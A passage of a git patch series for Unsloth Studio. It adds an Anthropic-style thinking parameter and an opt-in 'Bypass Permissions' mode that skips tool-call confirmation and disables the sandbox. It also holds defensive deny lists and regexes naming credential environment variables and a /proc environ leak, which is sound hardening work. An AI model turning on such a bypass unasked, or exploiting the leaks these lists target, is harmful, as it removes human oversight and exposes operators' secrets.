mapping into a @model_validator on ChatCompletionRequest ensures it
runs during Pydantic validation regardless of routing path.

* Document ThinkingConfig scope and thinking validation behavior

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/models/inference.py            |  29 +++++
 .../backend/tests/test_thinking_parameter.py  | 106 ++++++++++++++++++
 .../src/features/chat/api/chat-adapter.ts     |   4 +-
 .../frontend/src/features/chat/types/api.ts   |   1 +
 4 files changed, 138 insertions(+), 2 deletions(-)
 create mode 100644 studio/backend/tests/test_thinking_parameter.py

diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 4e6a5937d8..5b68364687 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -581,6 +581,16 @@ class ChatMessage(BaseModel):
         return self
 
 
+class ThinkingConfig(BaseModel):
+    """Anthropic-compatible thinking/reasoning configuration.
+    Use type='disabled' to turn off thinking, or type='enabled' to turn it on.
+    Only type is read; extra fields (e.g. budget_tokens) are ignored, since
+    Studio sets provider thinking budgets itself.
+    """
+
+    type: Literal["disabled", "enabled"] = "disabled"
+
+
 class ChatCompletionRequest(BaseModel):
     """OpenAI-compatible chat completion request.
 
@@ -694,6 +704,11 @@ class ChatCompletionRequest(BaseModel):
         None,
         description = "[x-unsloth] When true, keep historical <think> blocks from past assistant turns in the prompt (Qwen3.6 templates). Independent of enable_thinking / reasoning_effort.",
     )
+    thinking: Optional[ThinkingConfig] = Field(
+        None,
+        description = "[Anthropic-compatible] Thinking configuration. "
+        "Use {type: 'disabled'} to disable thinking, {type: 'enabled'} to enable.",
+    )
     enable_tools: Optional[bool] = Field(
         None,
         description = "[x-unsloth] Enable tool calling for supported models",
@@ -952,6 +967,20 @@ class ChatCompletionRequest(BaseModel):
             msg.tool_call_id = picked
         return self
 
+    @model_validator(mode = "after")
+    def _map_thinking_to_enable_thinking(self) -> "ChatCompletionRequest":
+        """Map Anthropic-style ``thinking`` parameter to internal ``enable_thinking``.
+
+        ``thinking: {type: 'enabled'}`` sets ``enable_thinking = True`` and
+        ``thinking: {type: 'disabled'}`` sets ``enable_thinking = False``.
+        ``enable_thinking`` takes precedence when both are provided so that
+        callers who already use the internal field are unaffected. Invalid
+        ``thinking`` shapes are rejected at validation time (422).
+        """
+        if self.thinking is not None and self.enable_thinking is None:
+            self.enable_thinking = self.thinking.type == "enabled"
+        return self
+
 
 class ToolConfirmRequest(BaseModel):
     session_id: Optional[str] = None
diff --git a/studio/backend/tests/test_thinking_parameter.py b/studio/backend/tests/test_thinking_parameter.py
new file mode 100644
index 0000000000..92e08912cb
--- /dev/null
+++ b/studio/backend/tests/test_thinking_parameter.py
@@ -0,0 +1,106 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Unit tests for the Anthropic-compatible thinking parameter.
+
+Covers:
+- ThinkingConfig model validation
+- ChatCompletionRequest with thinking parameter
+- Mapping logic: thinking.type -> enable_thinking
+"""
+
+import os
+import sys
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from models.inference import ChatCompletionRequest, ThinkingConfig
+
+
+def test_thinking_config_defaults_to_disabled():
+    """ThinkingConfig should default to type='disabled'."""
+    config = ThinkingConfig()
+    assert config.type == "disabled"
+
+
+def test_thinking_config_explicit_disabled():
+    """ThinkingConfig should accept type='disabled'."""
+    config = ThinkingConfig(type = "disabled")
+    assert config.type == "disabled"
+
+
+def test_thinking_config_explicit_enabled():
+    """ThinkingConfig should accept type='enabled'."""
+    config = ThinkingConfig(type = "enabled")
+    assert config.type == "enabled"
+
+
+def test_chat_completion_request_with_thinking_disabled():
+    """thinking.type='disabled' should map to enable_thinking=False."""
+    req = ChatCompletionRequest.model_validate(
+        {
+            "model": "test-model",
+            "messages": [{"role": "user", "content": "hello"}],
+            "thinking": {"type": "disabled"},
+        }
+    )
+    assert req.thinking is not None
+    assert req.thinking.type == "disabled"
+    assert req.enable_thinking is False
+
+
+def test_chat_completion_request_with_thinking_enabled():
+    """thinking.type='enabled' should map to enable_thinking=True."""
+    req = ChatCompletionRequest.model_validate(
+        {
+            "model": "test-model",
+            "messages": [{"role": "user", "content": "hello"}],
+            "thinking": {"type": "enabled"},
+        }
+    )
+    assert req.thinking is not None
+    assert req.thinking.type == "enabled"
+    assert req.enable_thinking is True
+
+
+def test_chat_completion_request_without_thinking():
+    """ChatCompletionRequest should work without thinking parameter."""
+    req = ChatCompletionRequest.model_validate(
+        {
+            "model": "test-model",
+            "messages": [{"role": "user", "content": "hello"}],
+        }
+    )
+    assert req.thinking is None
+    assert req.enable_thinking is None
+
+
+def test_chat_completion_request_backward_compatible_enable_thinking():
+    """ChatCompletionRequest should still support enable_thinking."""
+    req = ChatCompletionRequest.model_validate(
+        {
+            "model": "test-model",
+            "messages": [{"role": "user", "content": "hello"}],
+            "enable_thinking": True,
+        }
+    )
+    assert req.enable_thinking is True
+    assert req.thinking is None
+
+
+def test_thinking_overrides_enable_thinking_when_both_provided():
+    """When both thinking and enable_thinking are provided,
+    enable_thinking takes precedence (no override)."""
+    req = ChatCompletionRequest.model_validate(
+        {
+            "model": "test-model",
+            "messages": [{"role": "user", "content": "hello"}],
+            "thinking": {"type": "enabled"},
+            "enable_thinking": False,
+        }
+    )
+    # enable_thinking is explicitly set, so it takes precedence
+    assert req.enable_thinking is False
+    assert req.thinking.type == "enabled"
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 7d9ee20a5f..6122b51dfd 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -2428,7 +2428,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
                       : {
                           reasoning_effort: fallbackExternalEffort,
                         }
-                  : { enable_thinking: reasoningEnabled }
+                  : { thinking: { type: reasoningEnabled ? "enabled" : "disabled" } }
                 : {}),
             };
           }
@@ -2457,7 +2457,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
                 ? reasoningEnabled
                   ? { reasoning_effort: localReasoningEffort }
                   : {}
-                : { enable_thinking: reasoningEnabled }
+                : { thinking: { type: reasoningEnabled ? "enabled" : "disabled" } }
               : {}),
             ...(supportsPreserveThinking
               ? { preserve_thinking: preserveThinking }
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 022624de60..2f0e30fdcf 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -289,6 +289,7 @@ export interface OpenAIChatCompletionsRequest {
     | "xhigh"
     | null;
   preserve_thinking?: boolean | null;
+  thinking?: {type: "disabled" | "enabled";} | null;
   enable_tools?: boolean | null;
   enabled_tools?: string[];
   /** Local models + enable_tools only. */

From ca0528d1f84ad7cd2646c5a6fde1ac6b462d538f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 15 Jun 2026 04:04:22 -0700
Subject: [PATCH 03/91] Studio: Bypass Permissions (skip confirmation, disable
 tool sandbox) (#5895)

* Studio: Add inline confirmation (Allow/Always allow/Deny) for tool calls

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix race in tool-call confirmation gate

* Studio: gate built-in tool calls and harden the confirmation handshake

The Allow / Always allow / Deny controls only lived in the fallback tool
card, but the built-in tools (web search, python, terminal, code
execution, image generation) render with their own components and so
never showed the buttons. Those calls paused after tool_start with no way
to approve them, hanging until the 1 hour timeout. Only MCP tools, which
use the fallback renderer, actually worked.

Render the controls for every tool card by wrapping each registered tool
component (and the fallback) in thread.tsx with a shared
ToolConfirmationControls, so the gate applies uniformly.

Also make the handshake robust:
- The gate keys on a per-call approval_id minted by the backend and
  echoed in tool_start, instead of session_id alone, so a stale or
  concurrent confirmation can no longer resolve the wrong call.
- The approval slot is registered before tool_start is yielded, closing
  the race where a fast click or an auto "Always allow" could reach the
  backend before the waiter existed.
- The frontend resolves with the same session id the request was sent
  with (plus the approval_id), fixing the new-thread mismatch where the
  confirmation targeted a different session than the blocked stream.
- The confirm endpoint returns {resolved}; the UI keeps the buttons and
  shows a retry hint until the backend confirms a match, instead of
  hiding them on a failed or mistargeted post.
- The gate runs after the disabled-tool and duplicate-call checks, so a
  call that will not execute is not put up for approval. A denied call is
  still excluded from duplicate detection, so re-issuing and approving it
  works.
- "Always allow" is scoped per session to match the backend gate.

Add backend tests for the approval registry, the SSE no-deadlock
handshake, and the loop integration (allow, deny, disabled, duplicate,
re-issue after deny).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Move "Confirm tool calls" to the Tools section

* Studio: add Bypass Permissions (skip confirmation, disable tool sandbox)

Adds an opt-in Bypass Permissions toggle next to Confirm tool calls. When on,
no tool call shows a confirmation prompt and the python/terminal sandbox is
disabled: safety checks, command blocklist, and resource limits are skipped.
Secret env vars are still stripped and HOME stays repointed at the session
workdir. Default off keeps current behavior, and it takes precedence over
Confirm tool calls. Enabling it requires accepting a warning each time.

* Studio: harden Bypass Permissions secret handling and fix Anthropic tool path

Follow-up to the Bypass Permissions feature. Addresses the review findings:

- Anthropic /v1/messages 500: declare bypass_permissions on
  AnthropicMessagesRequest so tool requests that omit the field default to
  False instead of raising AttributeError (extra='allow' does not set absent
  attributes).
- /proc parent-env leak: stripping the child env did not stop a same-uid
  bypassed child from reading /proc/<parent>/environ to recover the
  tool-executing process's unfiltered secrets. Clear PR_SET_DUMPABLE on that
  process before the first bypass exec so its /proc entries become root-owned.
  Hardening is fail-closed: if prctl is denied, bypass execution is refused
  rather than run with the parent environ still readable. Mitigation, not a
  full boundary; documented in the code.
- Broker/capability vars: strip SSH_AUTH_SOCK, SSH_AGENT_PID, GPG_AGENT_INFO,
  GNUPGHOME, KUBECONFIG, DOCKER_HOST so a bypassed tool cannot use the
  operator's live agents.
- Credential-bearing URL values: drop any env var whose value embeds URL
  userinfo (scheme://user:pass@ and token-only scheme://token@) regardless of
  the variable name. Benign proxy/index URLs without credentials are kept, so
  proxy-only and internal-index setups still work in bypass mode.
- Windows temp isolation: repoint TEMP and TMP (not just TMPDIR) at the
  per-session sandbox dir.
- Frontend: stop persisting bypassPermissions; a reload now starts with the
  sandbox/confirmation bypass off and requires re-accepting the warning dialog.

Adds regression tests for each finding in test_bypass_permissions.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: strip cred-location env vars (HF_HOME etc.) in Bypass Permissions

Repointing HOME did not stop SDKs auto-reading cached creds via vars that
point at the real home/cache/config: HF_HOME (startup always sets it; token
lives under $HF_HOME/token), HF/XDG cache roots, NETRC/BOTO_CONFIG/
PIP_CONFIG_FILE, and Windows HOMEDRIVE/HOMEPATH. Drop those, and repoint
USERPROFILE/APPDATA/LOCALAPPDATA at the per-session workdir. Adds regression
tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: lock in bypass HF token resolution with an end-to-end test

The drop-based fix relies on the whole HF_HOME/XDG fallback chain being
removed so huggingface_hub resolves under the repointed HOME. Add a test
that sets HF_HOME and XDG_CACHE_HOME at a real cache and asserts the
resolved token path lands under the workdir, not the operator's cache.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: strip npm _auth, MYSQL_PWD, and BASH_ENV from bypass env

Three more credential vectors dodged the bypass scrubber: NPM_CONFIG__AUTH
(npm _auth, base64 so no URL userinfo and no AUTH marker), MYSQL_PWD (markers
use PASSWD, not PWD, since PWD is the cwd var), and BASH_ENV (bash -c sources
it for non-interactive shells, so a startup file can re-export stripped
secrets). Add an AUTH marker, the exact MYSQL_PWD name, and drop BASH_ENV plus
PGPASSFILE. Adds regression tests incl. an end-to-end check that a bypass
terminal call does not source BASH_ENV.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: extend bypass env scrubber and enforce confirm precedence in loops

From a parallel review pass over the bypass changes:
- Drop more credential-location vars in _build_bypass_env: npm/yarn/git/cargo/
  rclone config pointers (NPM_CONFIG_USERCONFIG, NPM_CONFIG_GLOBALCONFIG,
  YARN_RC_FILENAME, GIT_CONFIG_GLOBAL, GIT_CONFIG_SYSTEM, CARGO_HOME,
  RCLONE_CONFIG) and the GIT_ASKPASS/SSH_ASKPASS auth helpers.
- Enforce confirm_tool_calls AND NOT bypass_permissions inside the safetensors
  and GGUF tool loops, not just at the route, so a direct internal caller
  passing both flags never prompts.
- Soften the toggle hint: environment secrets are stripped, but bypassed code
  can still read files and credentials on the machine (no overclaim that keys
  stay hidden).
Adds regression tests for the new names and the loop-level precedence.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: add GGUF loop test for bypass-over-confirm precedence

The safetensors loop precedence is covered behaviorally; the GGUF loop needs a
live llama-server so add an AST guard asserting its _needs_confirm gate
references both confirm_tool_calls and bypass_permissions, matching the other
llama_cpp source-inspection tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: add red Bypass Permissions badge in the composer

When Bypass Permissions is on, show a persistent red pill in the composer
tool-pill row (like the Search/Code pills), matching Claude Code's always-
visible bypass indicator. Clicking it turns bypass off, mirroring the other
composer toggles. Enabling still goes through the settings toggle + warning
dialog. Adds a data-variant=danger style for the destructive-colored pill.

* Studio: show Bypass Permissions badge in the Thread composer too

The empty-state and active Thread render their own composer (thread.tsx),
not shared-composer, so the badge only appeared in the split layout. Mirror
the red dismissible pill in ComposerAction so it shows in every composer.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep the Bypass Permissions badge visible when the composer is collapsed

The Thread composer only renders the pill row when expanded, so the active-mode
badge vanished on the default (collapsed) empty state. Render it before the
expand gate (it returns null when bypass is off) so the red indicator always
shows while bypass is on.

* Studio: make the Bypass Permissions confirm button a solid red button

The destructive button variant is a subtle 10% tint that read as bare red text
next to the outlined Cancel. Force the solid destructive fill (the variant's
class loses to the tint through AlertDialogAction's Slot merge, so use the !
override the codebase already uses for this case) and shorten the label to
'I understand' so it fits the small dialog's two-column footer.

* Studio: add Bypass Permissions to the composer + More menu

Adds a 'Bypass Permissions' entry to the composer plus-menu (under More by
default) in both composers, so it can be toggled without opening Run settings.
Enabling routes through the same danger warning dialog; disabling is immediate.
A shared BypassPermissionsMenuItem keeps the two composers in sync.

* Studio: harden bypass env scrubber for IMDS opt-out and connection strings

Two gaps in the Bypass Permissions secret scrubber:

- The broad AWS_ prefix also dropped AWS_EC2_METADATA_DISABLED, a non-secret
  opt-out. Removing it re-opens the IMDS instance-role credential path that the
  operator explicitly disabled, so a bypassed boto/AWS-CLI call could recover
  cloud creds. Keep that flag (and AWS_EC2_METADATA_V1_DISABLED) via a keep-list
  while still stripping the real AWS credential vars.
- Azure App Service connection strings (SQLCONNSTR_/CUSTOMCONNSTR_/...,
  WEBSITE_CONTENTAZUREFILECONNECTIONSTRING) and values like Password=/AccountKey=
  /SharedAccessKey= slipped past the name and URL-only value classifiers. Add
  CONNSTR/CONNECTIONSTRING name markers and a connection-string value matcher.

* Studio: let Bypass Permissions suppress the confirm-tool-calls guards

The confirm-vs-bypass precedence (confirm and not bypass) was applied at the
loop call sites but not at the earlier request guards, so a client sending
confirm_tool_calls + bypass_permissions together was rejected (stream=true
required / unsupported for external or Anthropic tools) before the precedence
took effect. Gate all four confirm guards on not bypass_permissions so both
flags together proceed with the gate suppressed, matching the documented rule.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |   6 +-
 studio/backend/core/inference/orchestrator.py |   2 +
 .../core/inference/safetensors_agentic.py     |   6 +-
 studio/backend/core/inference/tools.py        | 323 +++++++-
 studio/backend/models/inference.py            |   8 +
 studio/backend/routes/inference.py            |  44 +-
 .../backend/tests/test_bypass_permissions.py  | 732 ++++++++++++++++++
 .../tests/test_safetensors_tool_loop.py       |   1 +
 .../backend/tests/test_tool_confirm_loop.py   |   1 +
 .../src/components/assistant-ui/thread.tsx    |  29 +
 .../src/features/chat/api/chat-adapter.ts     |   6 +-
 .../chat/bypass-permissions-menu-item.tsx     |  82 ++
 .../src/features/chat/chat-settings-sheet.tsx | 101 ++-
 .../src/features/chat/shared-composer.tsx     |  20 +
 .../chat/stores/chat-runtime-store.ts         |  16 +
 .../chat/stores/plus-menu-prefs-store.ts      |   6 +-
 studio/frontend/src/index.css                 |   5 +
 17 files changed, 1348 insertions(+), 40 deletions(-)
 create mode 100644 studio/backend/tests/test_bypass_permissions.py
 create mode 100644 studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 8657179b73..a4fd07c3b6 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -5778,6 +5778,7 @@ class LlamaCppBackend:
         seed: Optional[int] = None,
         disable_parallel_tool_use: bool = False,
         confirm_tool_calls: bool = False,
+        bypass_permissions: bool = False,
     ) -> Generator[dict, None, None]:
         """
         Agentic loop: let the model call tools, execute them, and continue.
@@ -6478,7 +6479,9 @@ class LlamaCppBackend:
                             decision.as_assistant_tool_call()
                         )
 
-                    needs_confirm = bool(confirm_tool_calls)
+                    # Bypass wins over the confirm gate at the loop level too,
+                    # so a direct internal caller with both flags never prompts.
+                    needs_confirm = bool(confirm_tool_calls) and not bypass_permissions
                     approval_id = new_approval_id() if needs_confirm else ""
                     decision_slot = (
                         begin_tool_decision(session_id, approval_id) if needs_confirm else None
@@ -6539,6 +6542,7 @@ class LlamaCppBackend:
                             timeout = _effective_timeout,
                             session_id = session_id,
                             rag_scope = rag_scope,
+                            disable_sandbox = bypass_permissions,
                         )
                         if decision.tool_name == "search_knowledge_base":
                             _kb_search_count += 1
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 4ccac2912e..4fa48a2d88 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -862,6 +862,7 @@ class InferenceOrchestrator:
         session_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
         confirm_tool_calls: bool = False,
+        bypass_permissions: bool = False,
         use_adapter: Optional[Union[bool, str]] = None,
         stats_holder: Optional[dict] = None,
         **_unused,
@@ -924,6 +925,7 @@ class InferenceOrchestrator:
             session_id = session_id,
             rag_scope = rag_scope,
             confirm_tool_calls = confirm_tool_calls,
+            bypass_permissions = bypass_permissions,
         )
 
     def generate_with_adapter_control(
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index 3b6a393f3d..06b6cbe57f 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -154,6 +154,7 @@ def run_safetensors_tool_loop(
     session_id: Optional[str] = None,
     rag_scope: Optional[dict] = None,
     confirm_tool_calls: bool = False,
+    bypass_permissions: bool = False,
 ) -> Generator[dict, None, None]:
     """Drive an agentic tool loop on top of a cumulative-text generator.
 
@@ -517,7 +518,9 @@ def run_safetensors_tool_loop(
             else:
                 assistant_msg.setdefault("tool_calls", []).append(decision.as_assistant_tool_call())
 
-            needs_confirm = bool(confirm_tool_calls)
+            # Bypass wins over the confirm gate at the loop level too, so a
+            # direct internal caller passing both flags never prompts.
+            needs_confirm = bool(confirm_tool_calls) and not bypass_permissions
             approval_id = new_approval_id() if needs_confirm else ""
             decision_slot = begin_tool_decision(session_id, approval_id) if needs_confirm else None
             start_event = decision.tool_start_event()
@@ -575,6 +578,7 @@ def run_safetensors_tool_loop(
                         timeout = eff_timeout,
                         session_id = session_id,
                         rag_scope = rag_scope,
+                        disable_sandbox = bypass_permissions,
                     )
                 except Exception as exc:
                     logger.exception("Tool %s raised: %s", decision.tool_name, exc)
diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py
index 43c9610282..b29a221ee7 100644
--- a/studio/backend/core/inference/tools.py
+++ b/studio/backend/core/inference/tools.py
@@ -316,6 +316,196 @@ def _build_safe_env(workdir: str) -> dict[str, str]:
     return env
 
 
+# Credential env vars dropped even in bypass mode so tool code cannot read the
+# operator's keys. Over-strips on purpose (a benign var is harmless to lose).
+_BYPASS_ENV_SECRET_NAMES = frozenset(
+    {
+        "HF_TOKEN",
+        "HF_HUB_TOKEN",
+        "HUGGING_FACE_HUB_TOKEN",
+        "HUGGINGFACE_TOKEN",
+        "HUGGINGFACEHUB_API_TOKEN",
+        "WANDB_API_KEY",
+        "GH_TOKEN",
+        "GITHUB_TOKEN",
+        "OPENAI_API_KEY",
+        "ANTHROPIC_API_KEY",
+        "GEMINI_API_KEY",
+        "GOOGLE_API_KEY",
+        "GROQ_API_KEY",
+        "OPENROUTER_API_KEY",
+        "REPLICATE_API_TOKEN",
+        "COHERE_API_KEY",
+        "MISTRAL_API_KEY",
+        "NGC_API_KEY",
+        "KAGGLE_KEY",
+        "MYSQL_PWD",  # exact name: markers use PASSWD, not PWD (PWD is the cwd var)
+        "LD_PRELOAD",
+        # Auth brokers / capability handles: not secrets by value, but they
+        # hand the child the operator's live agent (ssh/gpg), kube config, or
+        # docker daemon. Names are listed because there is no value signal to
+        # key off. URL config vars (HTTP_PROXY, PIP_INDEX_URL, DATABASE_URL,
+        # ...) are intentionally NOT name-listed: a benign proxy/index without
+        # credentials must keep working in bypass mode, while a credentialed
+        # value is dropped by _is_secret_env_value() regardless of its name.
+        "SSH_AUTH_SOCK",
+        "SSH_AGENT_PID",
+        "GPG_AGENT_INFO",
+        "GNUPGHOME",
+        "KUBECONFIG",
+        "DOCKER_HOST",
+    }
+)
+_BYPASS_ENV_SECRET_PREFIXES = ("AWS_", "AZURE_", "GOOGLE_", "GCP_", "GCLOUD_", "DYLD_")
+_BYPASS_ENV_SECRET_MARKERS = (
+    "TOKEN",
+    "API_KEY",
+    "APIKEY",
+    "SECRET",
+    "PASSWORD",
+    "PASSWD",
+    "CREDENTIAL",
+    "PRIVATE_KEY",
+    "AUTH",  # e.g. NPM_CONFIG__AUTH (npm _auth), REDISCLI_AUTH
+    # Azure App Service connection strings: SQLCONNSTR_/CUSTOMCONNSTR_/... and
+    # WEBSITE_CONTENTAZUREFILECONNECTIONSTRING carry DB/storage credentials.
+    "CONNSTR",
+    "CONNECTIONSTRING",
+)
+# Non-secret hardening flags that match a secret prefix/marker but must be KEPT
+# so bypass mode does not silently undo an operator's opt-out. AWS_EC2_METADATA_
+# DISABLED tells the AWS SDK/CLI not to pull instance-role creds from IMDS;
+# dropping it would re-open that path for a bypassed tool.
+_BYPASS_ENV_KEEP_NAMES = frozenset(
+    {
+        "AWS_EC2_METADATA_DISABLED",
+        "AWS_EC2_METADATA_V1_DISABLED",
+    }
+)
+# Matches a URL that embeds userinfo before the host, covering both
+# "scheme://user:pass@host" and token-only "scheme://token@host" (and
+# percent-encoded variants). The userinfo must precede the first '/', so an '@'
+# in a path or query does not false-positive. Used to scrub credential-bearing
+# URL values regardless of the variable's name.
+_URL_USERINFO_RE = re.compile(r"://[^/\s@]+@")
+# Connection-string credential fields (ADO.NET / Azure storage / Service Bus):
+# "...;Password=...", "...;AccountKey=...", "...;SharedAccessKey=...". Catches
+# credential-bearing values whose names dodge the name classifier. "accesskey"
+# also covers Shared/Secret AccessKey via substring; the Name fields (e.g.
+# SharedAccessKeyName=) do not match since "=" must follow the keyword.
+_SECRET_VALUE_RE = re.compile(r"(?i)(?:password|pwd|accountkey|accesskey)\s*=\s*[^\s;]")
+
+# Names that hold no secret value but point SDKs at the operator's real
+# home/cache/config (cached tokens, cred files), defeating the HOME repoint.
+# Startup always sets HF_HOME (-> $HF_HOME/token), so this is the live leak.
+# Dropped in bypass mode so tools fall back to the empty repointed HOME.
+_BYPASS_ENV_CRED_LOCATION_NAMES = frozenset(
+    {
+        # HF cache roots (token lives under $HF_HOME/token)
+        "HF_HOME",
+        "HF_HUB_CACHE",
+        "HUGGINGFACE_HUB_CACHE",
+        "HF_XET_CACHE",
+        "TRANSFORMERS_CACHE",
+        "HF_DATASETS_CACHE",
+        "HF_ASSETS_CACHE",
+        # XDG base dirs (resolved before $HOME)
+        "XDG_CONFIG_HOME",
+        "XDG_CACHE_HOME",
+        "XDG_DATA_HOME",
+        # explicit cred/config file pointers honoured before $HOME
+        "NETRC",
+        "PGPASSFILE",
+        "BOTO_CONFIG",
+        "PIP_CONFIG_FILE",
+        "CLOUDSDK_CONFIG",
+        "KAGGLE_CONFIG_DIR",
+        "DOCKER_CONFIG",
+        "WANDB_DIR",
+        "WANDB_CONFIG_DIR",
+        "WANDB_CACHE_DIR",
+        # package-manager / git / cloud config pointers to real cred files
+        "NPM_CONFIG_USERCONFIG",
+        "NPM_CONFIG_GLOBALCONFIG",
+        "YARN_RC_FILENAME",
+        "GIT_CONFIG_GLOBAL",
+        "GIT_CONFIG_SYSTEM",
+        "CARGO_HOME",
+        "RCLONE_CONFIG",
+        # auth-helper scripts that hand creds to git/ssh
+        "GIT_ASKPASS",
+        "SSH_ASKPASS",
+        # shell startup hook: bash -c sources $BASH_ENV (can re-export secrets)
+        "BASH_ENV",
+        # Windows: HOMEDRIVE+HOMEPATH compose a home that bypasses HOME
+        "HOMEDRIVE",
+        "HOMEPATH",
+    }
+)
+# Windows profile dirs SDKs read creds under; repointed (not dropped) since
+# callers expect them present.
+_BYPASS_ENV_WINDOWS_PROFILE_VARS = ("USERPROFILE", "APPDATA", "LOCALAPPDATA")
+
+
+def _is_secret_env_name(name: str) -> bool:
+    """True if an env var name looks like it carries a credential."""
+    upper = name.upper()
+    if upper in _BYPASS_ENV_KEEP_NAMES:
+        return False  # non-secret hardening flag; keep it
+    if upper in _BYPASS_ENV_SECRET_NAMES:
+        return True
+    if any(upper.startswith(p) for p in _BYPASS_ENV_SECRET_PREFIXES):
+        return True
+    return any(marker in upper for marker in _BYPASS_ENV_SECRET_MARKERS)
+
+
+def _is_cred_location_env_name(name: str) -> bool:
+    """True for vars that point SDKs at the real home/cache/config (cached creds)."""
+    return name.upper() in _BYPASS_ENV_CRED_LOCATION_NAMES
+
+
+def _is_secret_env_value(value: str) -> bool:
+    """True if a value embeds credentials regardless of its name.
+
+    Catches URL userinfo (``scheme://user:token@host`` in DATABASE_URL /
+    PIP_INDEX_URL / HTTP_PROXY) and connection-string credential fields
+    (``...;Password=...`` / ``...;AccountKey=...``) whose names dodge the name
+    classifier.
+    """
+    if not value:
+        return False
+    return _URL_USERINFO_RE.search(value) is not None or _SECRET_VALUE_RE.search(value) is not None
+
+
+def _build_bypass_env(workdir: str) -> dict[str, str]:
+    """Env for bypass exec: full host env (unrestricted) minus credential vars,
+    with HOME/TMPDIR repointed at the workdir so SDKs cannot read cached creds.
+
+    Note: stripping the child env is necessary but not sufficient on its own -
+    a same-UID child can still read the parent's environment via procfs, so
+    callers also harden the parent (see _harden_parent_against_proc_env_leak).
+    """
+    env = {
+        k: v
+        for k, v in os.environ.items()
+        if not _is_secret_env_name(k)
+        and not _is_secret_env_value(v)
+        and not _is_cred_location_env_name(k)
+    }
+    env["HOME"] = workdir
+    env["TMPDIR"] = workdir
+    # Windows tempfile / SDKs honour TEMP/TMP, not TMPDIR; repoint all three so
+    # the bypassed tool writes under the per-session sandbox dir on every OS.
+    env["TEMP"] = workdir
+    env["TMP"] = workdir
+    # Windows SDKs read creds under the profile dirs, not $HOME; repoint set
+    # ones to the workdir (HOMEDRIVE/HOMEPATH are dropped above).
+    for var in _BYPASS_ENV_WINDOWS_PROFILE_VARS:
+        if var in os.environ:
+            env[var] = workdir
+    return env
+
+
 def _sandbox_preexec():
     """Best-effort sandbox setup for sandboxed subprocesses (modules are
     resolved at import time so the forked child runs no imports)."""
@@ -377,6 +567,65 @@ def _sandbox_preexec():
             pass
 
 
+def _bypass_preexec():
+    """Minimal pre-exec for bypass exec: os.setsid() only.
+
+    Required, not a restriction: _kill_process_tree does killpg(getpgid(child)),
+    so without a new session a timeout/cancel would kill the Studio server too.
+    """
+    try:
+        os.setsid()
+    except OSError:
+        pass
+
+
+# Hardening the Studio parent is done once (PR_SET_DUMPABLE is process-global
+# and sticky); guarded so repeated bypass calls do not re-issue the prctl.
+_parent_proc_hardened = False
+
+
+def _harden_parent_against_proc_env_leak() -> bool:
+    """Make the Studio process's /proc/<pid>/environ unreadable to its children.
+
+    Stripping the child env is not enough on Linux: a bypassed same-UID child
+    runs unsandboxed and can read /proc/<getppid()>/environ to recover the
+    tool-executing process's *unfiltered* secrets (HF_TOKEN, cloud keys, ...).
+    Clearing the dumpable flag (PR_SET_DUMPABLE=0) reparents this process's
+    /proc entries to root, so a same-UID child can no longer read its environ.
+
+    Returns True when the process is hardened or hardening is unnecessary (no
+    /proc leak off Linux), and False when it is needed but could not be applied
+    (e.g. prctl denied by a seccomp policy). Callers must fail closed - refuse
+    the unsandboxed exec - when this returns False, rather than running with the
+    parent environ still readable.
+
+    Scope: this closes the direct parent read (the demonstrated leak). It is a
